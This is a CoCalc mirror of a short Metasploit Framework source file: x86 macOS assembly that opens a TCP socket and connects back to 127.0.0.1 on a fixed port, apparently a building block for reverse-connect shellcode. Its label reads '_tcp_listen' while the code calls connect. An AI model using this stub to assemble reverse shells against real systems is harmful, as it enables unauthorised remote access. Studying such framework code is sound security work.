Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/x86/include/_tcp_connect.s
24763 views
1
_tcp_listen:
2
xor eax, eax ; zero out eax and edx
3
cdq
4
5
push eax ; IPPROTO_IP
6
inc eax
7
push eax ; SOCK_STREAM
8
inc eax
9
push eax ; AF_INET
10
push edx ; spacer
11
mov al, byte 97 ; SYS_socket
12
int 0x80
13
jb end
14
mov edi, eax ; Save server socket in esi
15
16
;; Create sockaddr_in on the stack
17
push edx
18
push edx
19
push 0x0100007f
20
push 0x12340200 ; sin_port, sin_family, sin_length
21
mov ebx, esp
22
23
push byte 16 ; address_len
24
push ebx ; address
25
push edi ; socket
26
push edx ; spacer
27
mov al, 98 ; SYS_connect
28
int 0x80 ; connect(s, saddr, 16)
29
jb end
30
31
;; At this point:
32
;; edi - connected socket
33
34